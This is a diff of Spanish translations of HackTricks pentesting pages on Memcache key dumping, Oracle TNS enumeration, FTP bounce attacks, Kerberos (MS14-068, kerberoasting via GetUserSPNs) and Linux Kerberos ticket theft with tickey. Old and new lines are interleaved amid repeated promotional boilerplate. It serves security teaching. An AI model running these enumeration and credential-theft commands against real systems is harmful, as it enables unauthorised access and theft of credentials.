No hay una función incorporada para determinar directamente el conjunto actual de claves. Sin embargo, puede usar el
```
stats items
```
### Command to determine how many keys do exist
Use the following command to determine how many keys exist in the Memcache server:
```bash
stats items
```
comando para determinar cuántas claves existen.
```
stats items
STAT items:1:number 220
@ -137,23 +163,23 @@ STAT items:2:age 1405
[...]
END
```
Esto al menos ayuda a ver si se utilizan claves. Para volcar los nombres de las claves desde un script de PHP que ya accede a memcache, puedes usar el código PHP de [100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html).
Esto al menos ayuda a ver si se utilizan claves. Para volcar los nombres de las claves desde un script PHP que ya realiza el acceso a memcache, puedes usar el código PHP de [100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html).
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,41 +1,42 @@
# 1521,1522-1529 - Pentesting del Listener TNS de Oracle
# 1521,1522-1529 - Pentesting Oracle TNS Listener
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Información Básica
La base de datos Oracle (Oracle DB) es un sistema de gestión de bases de datos relacionales (RDBMS) de Oracle Corporation (de [aquí](https://www.techopedia.com/definition/8711/oracle-database)).
La base de datos Oracle (Oracle DB) es un sistema de gestión de bases de datos relacional (RDBMS) de Oracle Corporation (de [aquí](https://www.techopedia.com/definition/8711/oracle-database)).
Al enumerar Oracle, el primer paso es comunicarse con el TNS-Listener que generalmente reside en el puerto predeterminado (1521/TCP, -también puede haber oyentes secundarios en 1522-1529-).
Al enumerar Oracle, el primer paso es comunicarse con el TNS-Listener que generalmente reside en el puerto predeterminado (1521/TCP, -también puede obtener oyentes secundarios en 15221529-).
```
1521/tcp open oracle-tns Oracle TNS Listener 9.2.0.1.0 (for 32-bit Windows)
1748/tcp open oracle-tns Oracle TNS Listener
```
## Resumen
1. **Enumeración de Versiones**: Identificar información de la versión para buscar vulnerabilidades conocidas.
2. **Fuerza bruta en TNS Listener**: A veces es necesario para establecer comunicación.
3. **Enumeración/Fuerza bruta de nombres SID**: Descubrir nombres de bases de datos (SID).
4. **Fuerza bruta de Credenciales**: Intentar acceder al SID descubierto.
1. **Enumeración de Versiones**: Identificar información de versión para buscar vulnerabilidades conocidas.
2. **Bruteforce del TNS Listener**: A veces es necesario para establecer comunicación.
3. **Enumeración/Bruteforce del Nombre SID**: Descubrir nombres de bases de datos (SID).
4. **Bruteforce de Credenciales**: Intentar acceder al SID descubierto.
5. **Ejecución de Código**: Intentar ejecutar código en el sistema.
Para utilizar los módulos de MSF oracle necesitas instalar algunas dependencias: [**Instalación**](oracle-pentesting-requirements-installation.md)
Para usar los módulos de MSF oracle, necesitas instalar algunas dependencias: [**Instalación**](oracle-pentesting-requirements-installation.md)
## Publicaciones
Revisa estas publicaciones:
Consulta estas publicaciones:
* [https://secybr.com/posts/oracle-pentesting-best-practices/](https://secybr.com/posts/oracle-pentesting-best-practices/)
* [https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573](https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573)
@ -70,16 +71,17 @@ Name: Nmap
Description: Nmap with Oracle Scripts
Command: nmap --script "oracle-tns-version" -p 1521 -T4 -sV {IP}
```
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,52 +1,54 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Resumen
Si tienes acceso a un servidor FTP de rebote, puedes hacer que solicite archivos de otro servidor FTP \(donde conozcas algunas credenciales\) y descargar ese archivo en tu propio servidor.
Si tienes acceso a un servidor FTP de rebote, puedes hacer que solicite archivos de otro servidor FTP \(donde conoces algunas credenciales\) y descargar ese archivo a tu propio servidor.
## Requisitos
- Credenciales válidas de FTP en el servidor FTP intermedio
- Credenciales válidas de FTP en el servidor FTP víctima
- Ambos servidores aceptan el comando PORT \(ataque de rebote FTP\)
- Credenciales FTP válidas en el servidor FTP intermedio
- Credenciales FTP válidas en el servidor FTP de la víctima
- Ambos servidores aceptan el comando PORT \(ataque FTP de rebote\)
- Puedes escribir dentro de algún directorio del servidor FTP intermedio
- El servidor intermedio tendrá más acceso dentro del Servidor FTP Víctima que tú por alguna razón \(esto es lo que vas a explotar\)
- El servidor intermedio tendrá más acceso dentro del servidor FTP de la víctima que tú por alguna razón \(esto es lo que vas a explotar\)
## Pasos
1. Conéctate a tu propio servidor FTP y haz que la conexión sea pasiva \(comando pasv\) para que escuche en un directorio donde el servicio víctima enviará el archivo
2. Crea el archivo que va a enviar el servidor FTP intermedio al servidor Víctima \(el exploit\). Este archivo será un texto plano con los comandos necesarios para autenticarse contra el servidor Víctima, cambiar el directorio y descargar un archivo en tu propio servidor.
3. Conéctate al Servidor FTP Intermedio y sube el archivo anterior
4. Haz que el servidor FTP Intermedio establezca una conexión con el servidor víctima y envíe el archivo de explotación
1. Conéctate a tu propio servidor FTP y haz que la conexión sea pasiva \(comando pasv\) para que escuche en un directorio donde el servicio de la víctima enviará el archivo
2. Crea el archivo que va a enviar el servidor FTP intermedio al servidor de la víctima \(el exploit\). Este archivo será un texto plano de los comandos necesarios para autenticarte contra el servidor de la víctima, cambiar el directorio y descargar un archivo a tu propio servidor.
3. Conéctate al servidor FTP intermedio y sube el archivo anterior
4. Haz que el servidor FTP intermedio establezca una conexión con el servidor de la víctima y envíe el archivo de exploit
5. Captura el archivo en tu propio servidor FTP
6. Elimina el archivo de explotación del servidor FTP Intermedio
6. Elimina el archivo de exploit del servidor FTP intermedio
Para obtener más información detallada, consulta la publicación: [http://www.ouah.org/ftpbounce.html](http://www.ouah.org/ftpbounce.html)
Para más información detallada, consulta la publicación: [http://www.ouah.org/ftpbounce.html](http://www.ouah.org/ftpbounce.html)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,33 +1,34 @@
# 88tcp/udp - Pentesting Kerberos
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red de HackTricks AWS)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Información Básica
**Kerberos** opera según un principio en el que autentica a los usuarios sin gestionar directamente su acceso a recursos. Esta es una distinción importante porque subraya el papel del protocolo en los marcos de seguridad.
**Kerberos** opera bajo un principio donde autentica a los usuarios sin gestionar directamente su acceso a los recursos. Esta es una distinción importante porque subraya el papel del protocolo en los marcos de seguridad.
En entornos como **Active Directory**, **Kerberos** es fundamental para establecer la identidad de los usuarios validando sus contraseñas secretas. Este proceso garantiza que la identidad de cada usuario se confirme antes de que interactúen con los recursos de la red. Sin embargo, **Kerberos** no extiende su funcionalidad para evaluar o hacer cumplir los permisos que un usuario tiene sobre recursos o servicios específicos. En cambio, proporciona una forma segura de autenticar a los usuarios, que es un primer paso crítico en el proceso de seguridad.
En entornos como **Active Directory**, **Kerberos** es fundamental para establecer la identidad de los usuarios validando sus contraseñas secretas. Este proceso asegura que la identidad de cada usuario se confirme antes de que interactúe con los recursos de la red. Sin embargo, **Kerberos** no extiende su funcionalidad para evaluar o hacer cumplir los permisos que un usuario tiene sobre recursos o servicios específicos. En cambio, proporciona una forma segura de autenticar a los usuarios, que es un primer paso crítico en el proceso de seguridad.
Después de la autenticación por **Kerberos**, el proceso de toma de decisiones con respecto al acceso a los recursos se delega a los servicios individuales dentro de la red. Estos servicios son entonces responsables de evaluar los derechos y permisos del usuario autenticado, basándose en la información proporcionada por **Kerberos** sobre los privilegios del usuario. Este diseño permite una separación de responsabilidades entre autenticar la identidad de los usuarios y gestionar sus derechos de acceso, lo que permite un enfoque más flexible y seguro para la gestión de recursos en redes distribuidas.
Después de la autenticación por parte de **Kerberos**, el proceso de toma de decisiones sobre el acceso a los recursos se delega a servicios individuales dentro de la red. Estos servicios son responsables de evaluar los derechos y permisos del usuario autenticado, basándose en la información proporcionada por **Kerberos** sobre los privilegios del usuario. Este diseño permite una separación de preocupaciones entre la autenticación de la identidad de los usuarios y la gestión de sus derechos de acceso, lo que permite un enfoque más flexible y seguro para la gestión de recursos en redes distribuidas.
**Puerto predeterminado:** 88/tcp/udp
**Puerto por Defecto:** 88/tcp/udp
```
PORT STATE SERVICE
88/tcp open kerberos-sec
```
### **Para aprender a abusar de Kerberos, debes leer el artículo sobre** [**Active Directory**](../../windows-hardening/active-directory-methodology/)**.**
### **Para aprender a abusar de Kerberos, deberías leer la publicación sobre** [**Active Directory**](../../windows-hardening/active-directory-methodology/)**.**
## Más
@ -37,13 +38,13 @@ PORT STATE SERVICE
### MS14-068
La falla MS14-068 permite a un atacante manipular el token de inicio de sesión de Kerberos de un usuario legítimo para reclamar falsamente privilegios elevados, como ser un Administrador de Dominio. Esta afirmación falsa es validada erróneamente por el Controlador de Dominio, lo que permite el acceso no autorizado a los recursos de red en todo el bosque de Active Directory.
La vulnerabilidad MS14-068 permite a un atacante manipular el token de inicio de sesión Kerberos de un usuario legítimo para reclamar falsamente privilegios elevados, como ser un Administrador de Dominio. Esta reclamación falsa es validada erróneamente por el Controlador de Dominio, lo que permite el acceso no autorizado a los recursos de la red en todo el bosque de Active Directory.
{% embed url="https://adsecurity.org/?p=541" %}
Otros exploits: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek)
## Comandos Automáticos de HackTricks
## HackTricks Comandos Automáticos
```
Protocol_Name: Kerberos #Protocol Abbreviation if there is one.
Port_Number: 88 #Comma separated if there is more than one.
@ -73,16 +74,17 @@ Name: With Creds
Description: Attempt to get a list of user service principal names
Command: GetUserSPNs.py -request -dc-ip {IP} active.htb/svc_tgs
```
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,44 +1,46 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
### Almacenamiento de Credenciales en Linux
Los sistemas Linux almacenan credenciales en tres tipos de cachés, a saber **Archivos** (en el directorio `/tmp`), **Anillos de Claves del Kernel** (un segmento especial en el kernel de Linux) y **Memoria de Procesos** (para uso de un solo proceso). La variable **default\_ccache\_name** en `/etc/krb5.conf` revela el tipo de almacenamiento en uso, con un valor predeterminado de `FILE:/tmp/krb5cc_%{uid}` si no se especifica.
Los sistemas Linux almacenan credenciales en tres tipos de cachés, a saber, **Archivos** (en el directorio `/tmp`), **Keyrings del Kernel** (un segmento especial en el kernel de Linux) y **Memoria de Proceso** (para uso de un solo proceso). La variable **default\_ccache\_name** en `/etc/krb5.conf` revela el tipo de almacenamiento en uso, que por defecto es `FILE:/tmp/krb5cc_%{uid}` si no se especifica.
### Extracción de Credenciales
El documento de 2017, [**Robo de Credenciales de Kerberos (GNU/Linux)**](https://www.delaat.net/rp/2016-2017/p97/report.pdf), describe métodos para extraer credenciales de anillos de claves y procesos, enfatizando el mecanismo de anillos de claves del kernel de Linux para gestionar y almacenar claves.
El documento de 2017, [**Kerberos Credential Thievery (GNU/Linux)**](https://www.delaat.net/rp/2016-2017/p97/report.pdf), describe métodos para extraer credenciales de keyrings y procesos, enfatizando el mecanismo de keyring del kernel de Linux para gestionar y almacenar claves.
#### Resumen de Extracción de Anillos de Claves
La llamada al sistema **keyctl**, introducida en la versión del kernel 2.6.10, permite que las aplicaciones de espacio de usuario interactúen con los anillos de claves del kernel. Las credenciales en los anillos de claves se almacenan como componentes (principal predeterminado y credenciales), distintos de los ccaches de archivos que también incluyen un encabezado. El script **hercules.sh** del documento demuestra la extracción y reconstrucción de estos componentes en un ccaché de archivo utilizable para el robo de credenciales.
#### Resumen de Extracción de Keyring
La **llamada al sistema keyctl**, introducida en la versión 2.6.10 del kernel, permite a las aplicaciones de espacio de usuario interactuar con los keyrings del kernel. Las credenciales en los keyrings se almacenan como componentes (principal y credenciales predeterminadas), distintos de los cachés de archivos que también incluyen un encabezado. El **script hercules.sh** del documento demuestra cómo extraer y reconstruir estos componentes en un archivo ccache utilizable para el robo de credenciales.
#### Herramienta de Extracción de Tickets: Tickey
Basándose en los principios del script **hercules.sh**, la herramienta [**tickey**](https://github.com/TarlogicSecurity/tickey) está diseñada específicamente para extraer tickets de anillos de claves, ejecutada a través de `/tmp/tickey -i`.
Basándose en los principios del **script hercules.sh**, la herramienta [**tickey**](https://github.com/TarlogicSecurity/tickey) está diseñada específicamente para extraer tickets de keyrings, ejecutándose a través de `/tmp/tickey -i`.
## Referencias
* [**https://www.tarlogic.com/en/blog/how-to-attack-kerberos/**](https://www.tarlogic.com/en/blog/how-to-attack-kerberos/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
